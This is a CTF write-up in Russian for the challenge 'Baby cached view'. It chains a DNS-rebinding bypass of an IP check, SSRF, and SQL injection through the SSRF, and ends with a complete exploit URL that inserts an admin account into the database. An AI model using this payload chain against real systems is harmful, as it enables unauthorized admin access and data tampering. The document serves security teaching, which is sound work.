# Baby cached view ## Описание Кеширование - это хорошо, но логические баги в процессе кеширования - лучше. Что скажешь? --- Caching is good, but logical bugs in the caching process are better. What do you think? ## Краткое описание уязвимости Участникам необходимо было проэксплуатировать цепочку уязвимостей, состоящих из: 1. Обход проверки IP адресса при запросе dns записи 2. SSRF; 3. SQL Injection via ssrf. После последнего пункта можно было украсть сессию админа из базы данных или создать администратора, указав валидный bcrypt хеш. # Решение 1. Создаем запись с помощью https://lock.cmpxchg8b.com/rebinder.html, которая будет указывать на что-то, что не резолвится в 127.1 или другие локальные адреса ![](https://i.imgur.com/rWH17q4.png) 2. Отправляем полезную нагрузку в поле `url`, тем самым заставляя сервис кешировать домен и его зарезолвленную часть 3. Через какое-то время повторно отправляем полезную нагрузку в поле `url`, удостоверившись в том, что запись с https://lock.cmpxchg8b.com/rebinder.html указывает на локальный адрес 4. Эксплуатируем ssrf для просмотра содержимого страницы `users` (страница отдает все записи из БД. Пароли - хеш бкрипт) 5. Эксплуатируем sqli via ssrf via dns rebinding. Получившийся эксплойт: ``` http://c4200c2c.7f000001.rbndr.us:8000/users/?order_by="Backend_customuser"."id") ;insert into "Backend_customuser"(id,date_joined,username,password,is_active,is_admin,is_super_admin,creation_date,modification_date) values(133,CURRENT_TIMESTAMP, 'rive_n', 'HUH', true, true, true, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP) ``` FLAG: `bsc{C4CH3_VS_B4D_C0D3R}`